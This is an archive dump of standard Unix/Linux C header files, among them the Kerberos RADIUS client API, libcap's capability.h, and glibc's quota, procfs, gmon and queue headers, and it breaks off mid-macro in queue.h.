char krad_code; typedef unsigned char krad_attr; /* Called when a response is received or the request times out. */ typedef void (*krad_cb)(krb5_error_code retval, const krad_packet *request, const krad_packet *response, void *data); /* * Called to iterate over a set of requests. Either the callback will be * called until it returns NULL, or it will be called with cancel = TRUE to * terminate in the middle of an iteration. */ typedef const krad_packet * (*krad_packet_iter_cb)(void *data, krb5_boolean cancel); /* * Code */ /* Convert a code name to its number. Only works for codes defined * by RFC 2875 or 2882. Returns 0 if the name was not found. */ krad_code krad_code_name2num(const char *name); /* Convert a code number to its name. Only works for attributes defined * by RFC 2865 or 2882. Returns NULL if the name was not found. */ const char * krad_code_num2name(krad_code code); /* * Attribute */ /* Convert an attribute name to its number. Only works for attributes defined * by RFC 2865. Returns 0 if the name was not found. */ krad_attr krad_attr_name2num(const char *name); /* Convert an attribute number to its name. Only works for attributes defined * by RFC 2865. Returns NULL if the name was not found. */ const char * krad_attr_num2name(krad_attr type); /* * Attribute set */ /* Create a new attribute set. */ krb5_error_code krad_attrset_new(krb5_context ctx, krad_attrset **set); /* Create a deep copy of an attribute set. */ krb5_error_code krad_attrset_copy(const krad_attrset *set, krad_attrset **copy); /* Free an attribute set. */ void krad_attrset_free(krad_attrset *set); /* Add an attribute to a set. */ krb5_error_code krad_attrset_add(krad_attrset *set, krad_attr type, const krb5_data *data); /* Add a four-octet unsigned number attribute to the given set. */ krb5_error_code krad_attrset_add_number(krad_attrset *set, krad_attr type, krb5_ui_4 num); /* Delete the specified attribute. */ void krad_attrset_del(krad_attrset *set, krad_attr type, size_t indx); /* Get the specified attribute. */ const krb5_data * krad_attrset_get(const krad_attrset *set, krad_attr type, size_t indx); /* * Packet */ /* Determine the bytes needed from the socket to get the whole packet. Don't * cache the return value as it can change! Returns -1 on EBADMSG. */ ssize_t krad_packet_bytes_needed(const krb5_data *buffer); /* Free a packet. */ void krad_packet_free(krad_packet *pkt); /* * Create a new request packet. * * This function takes the attributes specified in set and converts them into a * radius packet. The packet will have a randomized id. If cb is not NULL, it * will be called passing data as the argument to iterate over a set of * outstanding requests. In this case, the id will be both random and unique * across the set of requests. */ krb5_error_code krad_packet_new_request(krb5_context ctx, const char *secret, krad_code code, const krad_attrset *set, krad_packet_iter_cb cb, void *data, krad_packet **request); /* * Create a new response packet. * * This function is similar to krad_packet_new_requst() except that it crafts a * packet in response to a request packet. This new packet will borrow values * from the request such as the id and the authenticator. */ krb5_error_code krad_packet_new_response(krb5_context ctx, const char *secret, krad_code code, const krad_attrset *set, const krad_packet *request, krad_packet **response); /* * Decode a request radius packet from krb5_data. * * The resulting decoded packet will be a request packet stored in *reqpkt. * * If cb is NULL, *duppkt will always be NULL. * * If cb is not NULL, it will be called (with the data argument) to iterate * over a set of requests currently being processed. In this case, if the * packet is a duplicate of an already received request, the original request * will be set in *duppkt. */ krb5_error_code krad_packet_decode_request(krb5_context ctx, const char *secret, const krb5_data *buffer, krad_packet_iter_cb cb, void *data, const krad_packet **duppkt, krad_packet **reqpkt); /* * Decode a response radius packet from krb5_data. * * The resulting decoded packet will be a response packet stored in *rsppkt. * * If cb is NULL, *reqpkt will always be NULL. * * If cb is not NULL, it will be called (with the data argument) to iterate * over a set of requests awaiting responses. In this case, if the response * packet matches one of these requests, the original request will be set in * *reqpkt. */ krb5_error_code krad_packet_decode_response(krb5_context ctx, const char *secret, const krb5_data *buffer, krad_packet_iter_cb cb, void *data, const krad_packet **reqpkt, krad_packet **rsppkt); /* Encode packet. */ const krb5_data * krad_packet_encode(const krad_packet *pkt); /* Get the code for the given packet. */ krad_code krad_packet_get_code(const krad_packet *pkt); /* Get the specified attribute. */ const krb5_data * krad_packet_get_attr(const krad_packet *pkt, krad_attr type, size_t indx); /* * Client */ /* Create a new client. */ krb5_error_code krad_client_new(krb5_context kctx, verto_ctx *vctx, krad_client **client); /* Free the client. */ void krad_client_free(krad_client *client); /* * Send a request to a radius server. * * The remote host may be specified by one of the following formats: * - /path/to/unix.socket * - IPv4 * - IPv4:port * - IPv4:service * - [IPv6] * - [IPv6]:port * - [IPv6]:service * - hostname * - hostname:port * - hostname:service * * The timeout parameter (milliseconds) is the total timeout across all remote * hosts (when DNS returns multiple entries) and all retries. For stream * sockets, the retries parameter is ignored and no retries are performed. * * The cb function will be called with the data argument when either a response * is received or the request times out on all possible remote hosts. */ krb5_error_code krad_client_send(krad_client *rc, krad_code code, const krad_attrset *attrs, const char *remote, const char *secret, int timeout, size_t retries, krad_cb cb, void *data); #endif /* KRAD_H_ */ sys/gmon_out.h 0000644 00000005113 15246445046 0007374 0 ustar 00 /* Copyright (C) 1996-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. Contributed by David Mosberger <davidm@cs.arizona.edu>. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ /* This file specifies the format of gmon.out files. It should have as few external dependencies as possible as it is going to be included in many different programs. That is, minimize the number of #include's. A gmon.out file consists of a header (defined by gmon_hdr) followed by a sequence of records. Each record starts with a one-byte tag identifying the type of records, followed by records specific data. */ #ifndef _SYS_GMON_OUT_H #define _SYS_GMON_OUT_H 1 #include <features.h> #define GMON_MAGIC "gmon" /* magic cookie */ #define GMON_VERSION 1 /* version number */ /* For profiling shared object we need a new format. */ #define GMON_SHOBJ_VERSION 0x1ffff __BEGIN_DECLS /* * Raw header as it appears on file (without padding). This header * always comes first in gmon.out and is then followed by a series * records defined below. */ struct gmon_hdr { char cookie[4]; char version[4]; char spare[3 * 4]; }; /* types of records in this file: */ typedef enum { GMON_TAG_TIME_HIST = 0, GMON_TAG_CG_ARC = 1, GMON_TAG_BB_COUNT = 2 } GMON_Record_Tag; struct gmon_hist_hdr { char low_pc[sizeof (char *)]; /* base pc address of sample buffer */ char high_pc[sizeof (char *)]; /* max pc address of sampled buffer */ char hist_size[4]; /* size of sample buffer */ char prof_rate[4]; /* profiling clock rate */ char dimen[15]; /* phys. dim., usually "seconds" */ char dimen_abbrev; /* usually 's' for "seconds" */ }; struct gmon_cg_arc_record { char from_pc[sizeof (char *)]; /* address within caller's body */ char self_pc[sizeof (char *)]; /* address within callee's body */ char count[4]; /* number of arc traversals */ }; __END_DECLS #endif /* sys/gmon_out.h */ sys/ttychars.h 0000644 00000004703 15246445046 0007412 0 ustar 00 /*- * Copyright (c) 1982, 1986, 1990, 1993 * The Regents of the University of California. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 4. Neither the name of the University nor the names of its contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * * @(#)ttychars.h 8.2 (Berkeley) 1/4/94 */ /* * 4.3 COMPATIBILITY FILE * * User visible structures and constants related to terminal handling. */ #ifndef _SYS_TTYCHARS_H #define _SYS_TTYCHARS_H 1 struct ttychars { char tc_erase; /* erase last character */ char tc_kill; /* erase entire line */ char tc_intrc; /* interrupt */ char tc_quitc; /* quit */ char tc_startc; /* start output */ char tc_stopc; /* stop output */ char tc_eofc; /* end-of-file */ char tc_brkc; /* input delimiter (like nl) */ char tc_suspc; /* stop process signal */ char tc_dsuspc; /* delayed stop process signal */ char tc_rprntc; /* reprint line */ char tc_flushc; /* flush output (toggles) */ char tc_werasc; /* word erase */ char tc_lnextc; /* literal next character */ }; #ifdef __USE_OLD_TTY #include <sys/ttydefaults.h> /* to pick up character defaults */ #endif #endif /* sys/ttychars.h */ sys/capability.h 0000644 00000016101 15246445046 0007665 0 ustar 00 /* * <sys/capability.h> * * Copyright (C) 1997 Aleph One * Copyright (C) 1997,8, 2008,19,20 Andrew G. Morgan <morgan@kernel.org> * * defunct POSIX.1e Standard: 25.2 Capabilities <sys/capability.h> */ #ifndef _SYS_CAPABILITY_H #define _SYS_CAPABILITY_H #ifdef __cplusplus extern "C" { #endif /* * This file complements the kernel file by providing prototype * information for the user library. */ #include <sys/types.h> #include <stdint.h> #include <linux/types.h> #ifndef __user #define __user #endif #include <linux/capability.h> /* * POSIX capability types */ /* * Opaque capability handle (defined internally by libcap) * internal capability representation */ typedef struct _cap_struct *cap_t; /* "external" capability representation is a (void *) */ /* * This is the type used to identify capabilities */ typedef int cap_value_t; /* * libcap initialized first unnamed capability of the running kernel. * capsh includes a runtime test to flag when this is larger than * what is known to libcap... Time for a new libcap release! */ extern cap_value_t cap_max_bits(void); /* * Set identifiers */ typedef enum { CAP_EFFECTIVE = 0, /* Specifies the effective flag */ CAP_PERMITTED = 1, /* Specifies the permitted flag */ CAP_INHERITABLE = 2 /* Specifies the inheritable flag */ } cap_flag_t; typedef enum { CAP_IAB_INH = 2, CAP_IAB_AMB = 3, CAP_IAB_BOUND = 4 } cap_iab_vector_t; /* * An opaque generalization of the inheritable bits that includes both * what ambient bits to raise and what bounding bits to *lower* (aka * drop). None of these bits once set, using cap_iab_set(), affect * the running process but are consulted, through the execve() system * call, by the kernel. Note, the ambient bits ('A') of the running * process are fragile with respect to other aspects of the "posix" * (cap_t) operations: most importantly, 'A' cannot ever hold bits not * present in the intersection of 'pI' and 'pP'. The kernel * immediately drops all ambient caps whenever such a situation * arises. Typically, the ambient bits are used to support a naive * capability inheritance model - at odds with the POSIX (sic) model * of inheritance where inherited (pI) capabilities need to also be * wanted by the executed binary (fI) in order to become raised * through exec. */ typedef struct cap_iab_s *cap_iab_t; /* * These are the states available to each capability */ typedef enum { CAP_CLEAR=0, /* The flag is cleared/disabled */ CAP_SET=1 /* The flag is set/enabled */ } cap_flag_value_t; /* * User-space capability manipulation routines */ typedef unsigned cap_mode_t; #define CAP_MODE_UNCERTAIN ((cap_mode_t) 0) #define CAP_MODE_NOPRIV ((cap_mode_t) 1) #define CAP_MODE_PURE1E_INIT ((cap_mode_t) 2) #define CAP_MODE_PURE1E ((cap_mode_t) 3) /* libcap/cap_alloc.c */ extern cap_t cap_dup(cap_t); extern int cap_free(void *); extern cap_t cap_init(void); extern cap_iab_t cap_iab_init(void); /* libcap/cap_flag.c */ extern int cap_get_flag(cap_t, cap_value_t, cap_flag_t, cap_flag_value_t *); extern int cap_set_flag(cap_t, cap_flag_t, int, const cap_value_t *, cap_flag_value_t); extern int cap_clear(cap_t); extern int cap_clear_flag(cap_t, cap_flag_t); extern cap_flag_value_t cap_iab_get_vector(cap_iab_t, cap_iab_vector_t, cap_value_t); extern int cap_iab_set_vector(cap_iab_t, cap_iab_vector_t, cap_value_t, cap_flag_value_t); extern int cap_iab_fill(cap_iab_t, cap_iab_vector_t, cap_t, cap_flag_t); /* libcap/cap_file.c */ extern cap_t cap_get_fd(int); extern cap_t cap_get_file(const char *); extern uid_t cap_get_nsowner(cap_t); extern int cap_set_fd(int, cap_t); extern int cap_set_file(const char *, cap_t); extern int cap_set_nsowner(cap_t, uid_t); /* libcap/cap_proc.c */ extern cap_t cap_get_proc(void); extern cap_t cap_get_pid(pid_t); extern int cap_set_proc(cap_t); extern int cap_get_bound(cap_value_t); extern int cap_drop_bound(cap_value_t); #define CAP_IS_SUPPORTED(cap) (cap_get_bound(cap) >= 0) extern int cap_get_ambient(cap_value_t); extern int cap_set_ambient(cap_value_t, cap_flag_value_t); extern int cap_reset_ambient(void); #define CAP_AMBIENT_SUPPORTED() (cap_get_ambient(CAP_CHOWN) >= 0) /* libcap/cap_extint.c */ extern ssize_t cap_size(cap_t); extern ssize_t cap_copy_ext(void *, cap_t, ssize_t); extern cap_t cap_copy_int(const void *); /* libcap/cap_text.c */ extern cap_t cap_from_text(const char *); extern char * cap_to_text(cap_t, ssize_t *); extern int cap_from_name(const char *, cap_value_t *); extern char * cap_to_name(cap_value_t); extern char * cap_iab_to_text(cap_iab_t iab); extern cap_iab_t cap_iab_from_text(const char *text); #define CAP_DIFFERS(result, flag) (((result) & (1 << (flag))) != 0) extern int cap_compare(cap_t, cap_t); /* libcap/cap_proc.c */ extern void cap_set_syscall(long int (*new_syscall)(long int, long int, long int, long int), long int (*new_syscall6)(long int, long int, long int, long int, long int, long int, long int)); extern int cap_set_mode(cap_mode_t flavor); extern cap_mode_t cap_get_mode(void); extern const char *cap_mode_name(cap_mode_t flavor); extern unsigned cap_get_secbits(void); extern int cap_set_secbits(unsigned bits); extern int cap_prctl(long int pr_cmd, long int arg1, long int arg2, long int arg3, long int arg4, long int arg5); extern int cap_prctlw(long int pr_cmd, long int arg1, long int arg2, long int arg3, long int arg4, long int arg5); extern int cap_setuid(uid_t uid); extern int cap_setgroups(gid_t gid, size_t ngroups, const gid_t groups[]); extern cap_iab_t cap_iab_get_proc(void); extern int cap_iab_set_proc(cap_iab_t iab); typedef struct cap_launch_s *cap_launch_t; extern cap_launch_t cap_new_launcher(const char *arg0, const char * const *argv, const char * const *envp); extern void cap_launcher_callback(cap_launch_t attr, int (callback_fn)(void *detail)); extern void cap_launcher_setuid(cap_launch_t attr, uid_t uid); extern void cap_launcher_setgroups(cap_launch_t attr, gid_t gid, int ngroups, const gid_t *groups); extern void cap_launcher_set_mode(cap_launch_t attr, cap_mode_t flavor); extern cap_iab_t cap_launcher_set_iab(cap_launch_t attr, cap_iab_t iab); extern void cap_launcher_set_chroot(cap_launch_t attr, const char *chroot); extern pid_t cap_launch(cap_launch_t attr, void *data); /* * system calls - look to libc for function to system call * mapping. Note, libcap does not use capset directly, but permits the * cap_set_syscall() to redirect the system call function. */ extern int capget(cap_user_header_t header, cap_user_data_t data); extern int capset(cap_user_header_t header, const cap_user_data_t data); /* deprecated - use cap_get_pid() */ extern int capgetp(pid_t pid, cap_t cap_d); /* not valid with filesystem capability support - use cap_set_proc() */ extern int capsetp(pid_t pid, cap_t cap_d); #ifdef __cplusplus } #endif #endif /* _SYS_CAPABILITY_H */ sys/vm86.h 0000644 00000002256 15246445046 0006352 0 ustar 00 /* Copyright (C) 1996-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _SYS_VM86_H #define _SYS_VM86_H 1 #include <features.h> #ifdef __x86_64__ # error This header is unsupported on x86-64. #else /* Get constants and data types from kernel header file. */ # include <asm/vm86.h> __BEGIN_DECLS /* Enter virtual 8086 mode. */ extern int vm86 (unsigned long int __subfunction, struct vm86plus_struct *__info) __THROW; __END_DECLS # endif #endif /* _SYS_VM86_H */ sys/quota.h 0000644 00000012064 15246445046 0006701 0 ustar 00 /* This just represents the non-kernel parts of <linux/quota.h>. Copyright (C) 1998-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ /* * Copyright (c) 1982, 1986 Regents of the University of California. * All rights reserved. * * This code is derived from software contributed to Berkeley by * Robert Elz at The University of Melbourne. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 4. Neither the name of the University nor the names of its contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. */ #ifndef _SYS_QUOTA_H #define _SYS_QUOTA_H 1 #include <features.h> #include <sys/types.h> #include <linux/quota.h> /* * Convert diskblocks to blocks and the other way around. * currently only to fool the BSD source. :-) */ #define dbtob(num) ((num) << 10) #define btodb(num) ((num) >> 10) /* * Convert count of filesystem blocks to diskquota blocks, meant for * filesystems where i_blksize != 1024. */ #define fs_to_dq_blocks(num, blksize) (((num) * (blksize)) / 1024) /* * Definitions for disk quotas imposed on the average user * (big brother finally hits Linux). * * The following constants define the amount of time given a user * before the soft limits are treated as hard limits (usually resulting * in an allocation failure). The timer is started when the user crosses * their soft limit, it is reset when they go below their soft limit. */ #define MAX_IQ_TIME 604800 /* (7*24*60*60) 1 week */ #define MAX_DQ_TIME 604800 /* (7*24*60*60) 1 week */ #define QUOTAFILENAME "quota" #define QUOTAGROUP "staff" #define NR_DQHASH 43 /* Just an arbitrary number any suggestions ? */ #define NR_DQUOTS 256 /* Number of quotas active at one time */ /* Old name for struct if_dqblk. */ struct dqblk { __uint64_t dqb_bhardlimit; /* absolute limit on disk quota blocks alloc */ __uint64_t dqb_bsoftlimit; /* preferred limit on disk quota blocks */ __uint64_t dqb_curspace; /* current quota block count */ __uint64_t dqb_ihardlimit; /* maximum # allocated inodes */ __uint64_t dqb_isoftlimit; /* preferred inode limit */ __uint64_t dqb_curinodes; /* current # allocated inodes */ __uint64_t dqb_btime; /* time limit for excessive disk use */ __uint64_t dqb_itime; /* time limit for excessive files */ __uint32_t dqb_valid; /* bitmask of QIF_* constants */ }; /* * Shorthand notation. */ #define dq_bhardlimit dq_dqb.dqb_bhardlimit #define dq_bsoftlimit dq_dqb.dqb_bsoftlimit #define dq_curspace dq_dqb.dqb_curspace #define dq_valid dq_dqb.dqb_valid #define dq_ihardlimit dq_dqb.dqb_ihardlimit #define dq_isoftlimit dq_dqb.dqb_isoftlimit #define dq_curinodes dq_dqb.dqb_curinodes #define dq_btime dq_dqb.dqb_btime #define dq_itime dq_dqb.dqb_itime #define dqoff(UID) ((__loff_t)((UID) * sizeof (struct dqblk))) /* Old name for struct if_dqinfo. */ struct dqinfo { __uint64_t dqi_bgrace; __uint64_t dqi_igrace; __uint32_t dqi_flags; __uint32_t dqi_valid; }; __BEGIN_DECLS extern int quotactl (int __cmd, const char *__special, int __id, __caddr_t __addr) __THROW; __END_DECLS #endif /* sys/quota.h */ sys/fsuid.h 0000644 00000002243 15246445046 0006660 0 ustar 00 /* Copyright (C) 1997-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _SYS_FSUID_H #define _SYS_FSUID_H 1 #include <features.h> #include <sys/types.h> __BEGIN_DECLS /* Change uid used for file access control to UID, without affecting other privileges (such as who can send signals at the process). */ extern int setfsuid (__uid_t __uid) __THROW; /* Ditto for group id. */ extern int setfsgid (__gid_t __gid) __THROW; __END_DECLS #endif /* fsuid.h */ sys/bitypes.h 0000644 00000000126 15246445046 0007223 0 ustar 00 /* The GNU <sys/types.h> defines all the necessary types. */ #include <sys/types.h> sys/termios.h 0000644 00000000112 15246445046 0007221 0 ustar 00 #ifndef _SYS_TERMIOS_H #define _SYS_TERMIOS_H #include <termios.h> #endif sys/procfs.h 0000644 00000011571 15246445046 0007046 0 ustar 00 /* Copyright (C) 2001-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _SYS_PROCFS_H #define _SYS_PROCFS_H 1 /* This is somewhat modelled after the file of the same name on SVR4 systems. It provides a definition of the core file format for ELF used on Linux. It doesn't have anything to do with the /proc file system, even though Linux has one. Anyway, the whole purpose of this file is for GDB and GDB only. Don't read too much into it. Don't use it for anything other than GDB unless you know what you are doing. */ #include <features.h> #include <sys/time.h> #include <sys/types.h> #include <sys/user.h> __BEGIN_DECLS /* Type for a general-purpose register. */ #ifdef __x86_64__ __extension__ typedef unsigned long long elf_greg_t; #else typedef unsigned long elf_greg_t; #endif /* And the whole bunch of them. We could have used `struct user_regs_struct' directly in the typedef, but tradition says that the register set is an array, which does have some peculiar semantics, so leave it that way. */ #define ELF_NGREG (sizeof (struct user_regs_struct) / sizeof(elf_greg_t)) typedef elf_greg_t elf_gregset_t[ELF_NGREG]; #ifndef __x86_64__ /* Register set for the floating-point registers. */ typedef struct user_fpregs_struct elf_fpregset_t; /* Register set for the extended floating-point registers. Includes the Pentium III SSE registers in addition to the classic floating-point stuff. */ typedef struct user_fpxregs_struct elf_fpxregset_t; #else /* Register set for the extended floating-point registers. Includes the Pentium III SSE registers in addition to the classic floating-point stuff. */ typedef struct user_fpregs_struct elf_fpregset_t; #endif /* Signal info. */ struct elf_siginfo { int si_signo; /* Signal number. */ int si_code; /* Extra code. */ int si_errno; /* Errno. */ }; /* Definitions to generate Intel SVR4-like core files. These mostly have the same names as the SVR4 types with "elf_" tacked on the front to prevent clashes with Linux definitions, and the typedef forms have been avoided. This is mostly like the SVR4 structure, but more Linuxy, with things that Linux does not support and which GDB doesn't really use excluded. */ struct elf_prstatus { struct elf_siginfo pr_info; /* Info associated with signal. */ short int pr_cursig; /* Current signal. */ unsigned long int pr_sigpend; /* Set of pending signals. */ unsigned long int pr_sighold; /* Set of held signals. */ __pid_t pr_pid; __pid_t pr_ppid; __pid_t pr_pgrp; __pid_t pr_sid; struct timeval pr_utime; /* User time. */ struct timeval pr_stime; /* System time. */ struct timeval pr_cutime; /* Cumulative user time. */ struct timeval pr_cstime; /* Cumulative system time. */ elf_gregset_t pr_reg; /* GP registers. */ int pr_fpvalid; /* True if math copro being used. */ }; #define ELF_PRARGSZ (80) /* Number of chars for args. */ struct elf_prpsinfo { char pr_state; /* Numeric process state. */ char pr_sname; /* Char for pr_state. */ char pr_zomb; /* Zombie. */ char pr_nice; /* Nice val. */ unsigned long int pr_flag; /* Flags. */ #if __WORDSIZE == 32 unsigned short int pr_uid; unsigned short int pr_gid; #else unsigned int pr_uid; unsigned int pr_gid; #endif int pr_pid, pr_ppid, pr_pgrp, pr_sid; /* Lots missing */ char pr_fname[16]; /* Filename of executable. */ char pr_psargs[ELF_PRARGSZ]; /* Initial part of arg list. */ }; /* The rest of this file provides the types for emulation of the Solaris <proc_service.h> interfaces that should be implemented by users of libthread_db. */ /* Addresses. */ typedef void *psaddr_t; /* Register sets. Linux has different names. */ typedef elf_gregset_t prgregset_t; typedef elf_fpregset_t prfpregset_t; /* We don't have any differences between processes and threads, therefore have only one PID type. */ typedef __pid_t lwpid_t; /* Process status and info. In the end we do provide typedefs for them. */ typedef struct elf_prstatus prstatus_t; typedef struct elf_prpsinfo prpsinfo_t; __END_DECLS #endif /* sys/procfs.h */ sys/queue.h 0000644 00000046123 15246445046 0006677 0 ustar 00 /* * Copyright (c) 1991, 1993 * The Regents of the University of California. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. Neither the name of the University nor the names of its contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * * @(#)queue.h 8.5 (Berkeley) 8/20/94 */ #ifndef _SYS_QUEUE_H_ #define _SYS_QUEUE_H_ /* * This file defines five types of data structures: singly-linked lists, * lists, simple queues, tail queues, and circular queues. * * A singly-linked list is headed by a single forward pointer. The * elements are singly linked for minimum space and pointer manipulation * overhead at the expense of O(n) removal for arbitrary elements. New * elements can be added to the list after an existing element or at the * head of the list. Elements being removed from the head of the list * should use the explicit macro for this purpose for optimum * efficiency. A singly-linked list may only be traversed in the forward * direction. Singly-linked lists are ideal for applications with large * datasets and few or no removals or for implementing a LIFO queue. * * A list is headed by a single forward pointer (or an array of forward * pointers for a hash table header). The elements are doubly linked * so that an arbitrary element can be removed without a need to * traverse the list. New elements can be added to the list before * or after an existing element or at the head of the list. A list * may only be traversed in the forward direction. * * A simple queue is headed by a pair of pointers, one the head of the * list and the other to the tail of the list. The elements are singly * linked to save space, so elements can only be removed from the * head of the list. New elements can be added to the list after * an existing element, at the head of the list, or at the end of the * list. A simple queue may only be traversed in the forward direction. * * A tail queue is headed by a pair of pointers, one to the head of the * list and the other to the tail of the list. The elements are doubly * linked so that an arbitrary element can be removed without a need to * traverse the list. New elements can be added to the list before or * after an existing element, at the head of the list, or at the end of * the list. A tail queue may be traversed in either direction. * * A circle queue is headed by a pair of pointers, one to the head of the * list and the other to the tail of the list. The elements are doubly * linked so that an arbitrary element can be removed without a need to * traverse the list. New elements can be added to the list before or after * an existing element, at the head of the list, or at the end of the list. * A circle queue may be traversed in either direction, but has a more * complex end of list detection. * * For details on the use of these macros, see the queue(3) manual page. */ /* * List definitions. */ #define LIST_HEAD(name, type) \ struct name { \ struct type *lh_first; /* first element */ \ } #define LIST_HEAD_INITIALIZER(head) \ { NULL } #define LIST_ENTRY(type) \ struct { \ struct type *le_next; /* next element */ \ struct type **le_prev; /* address of previous next element */ \ } /* * List functions. */ #define LIST_INIT(head) do { \ (head)->lh_first = NULL; \ } while (/*CONSTCOND*/0) #define LIST_INSERT_AFTER(listelm, elm, field) do { \ if (((elm)->field.le_next = (listelm)->field.le_next) != NULL) \ (listelm)->field.le_next->field.le_prev = \ &(elm)->field.le_next; \ (listelm)->field.le_next = (elm); \ (elm)->field.le_prev = &(listelm)->field.le_next; \ } while (/*CONSTCOND*/0) #define LIST_INSERT_BEFORE(listelm, elm, field) do { \ (elm)->field.le_prev = 